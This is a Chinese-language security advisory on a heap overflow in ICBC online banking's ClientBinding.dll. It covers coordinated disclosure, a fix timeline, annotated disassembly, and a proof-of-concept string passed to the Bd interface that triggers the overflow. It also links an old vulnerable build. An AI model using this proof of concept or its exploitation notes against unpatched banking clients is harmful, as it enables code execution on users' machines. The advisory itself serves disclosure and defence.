[漏洞编号]
CAL_20100623-1
[影响版本]
ClientBinding.dll 1.0.0.2或以前
[公告]
翰海源代码审计实验室在工行个人网银里发现一个高威胁的安全漏洞,可导致攻击者执行任意代码,并将此漏洞上报给工行珠海开发中心。7月底工行个人网银已修复该漏洞并发布了新的个人网银版本,考虑到工行网银的使用度和客户1DAY的修复时间,我们现在再发布公告,望没有安装新版本工行网银的用户及时安装新版本工行网银以避免威胁
[漏洞细节]
该漏洞存是在于ClientBinding.dll的一个缓冲区溢出,ClientBinding存在一个BD接口和Ckbd接口,第一个参数代表一个路径,和http://www.icbc.com.cn/一起拼接成一个路径,但是系统对这个路径只固定分配了0×400大小的堆内存
10010035 6800040000 push 0×400
1001003a e801470000 call ClientBinding!Gcrv+0×99c0 (10014740)
1001003f 83c404 add esp,0×4
10010042 8bf0 mov esi,eax
但是在拷贝数据的时候,是根据参数1的真实长度来拷贝的,而并没有检测是否大于0X400,因此直接导致了一个堆溢出
10001543 76f7 jbe ClientBinding+0×153c (1000153c)
10001545 8bce mov ecx,esi
10001547 2bc6 sub eax,esi
10001549 8da42400000000 lea esp,[esp]
10001550 8a1401 mov dl,[ecx+eax] ds:0023:014d63d3=6b
10001553 8811 mov [ecx],dl
10001555 41 begin_of_the_skype_highlighting 10001555 41 end_of_the_skype_highlighting inc ecx
10001556 83ef01 sub edi,0×1
10001559 75f5 jnz ClientBinding+0×1550 (10001550)
之后,在WINDOWS XP的系统上,会直接在HEAPFREE里对一个覆盖的指针地址进行写入,由于该地址来源于攻击者覆盖的地址,攻击者可以任意构造地址写入。
7c9308ee 8908 mov [eax],ecx
7c9308f0 895004 mov [eax+0x4],edx
7c9308f3 8902 mov [edx],eax ds:0023:75747372=????????
7c9308f5 894104 mov [ecx+0x4],eax
7c9308f8 56 push esi
7c9308f9 8b75c8 mov esi,[ebp-0x38]
继续执行,则向一个攻击者可控的地址写入当前内容地址,由于是攻击者可控的地址,该漏洞是一个非常容易利用的漏洞
[验证POC]
Str=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789vabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrAAAstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789″; obj.Bd(Str, 0)
[老版本验证下载地址]
http://www.vdisk.cn/down/index/4800758A1266
该版本用于验证此安全漏洞
[工行新版本个人网银下载地址]
http://www.icbc.com.cn/icbc/html/download/dkq/icbc_netbank_client_controls.exe
[感谢]
感谢工行对漏洞报告的重视和及时修复
[时间线]
6月23号:翰海源发现该高威漏洞
6月30号:翰海源向珠海工行开发中心报告该漏洞
7月23号:工行网银发布新的网银修复该漏洞
8月21号: 翰海源公告
|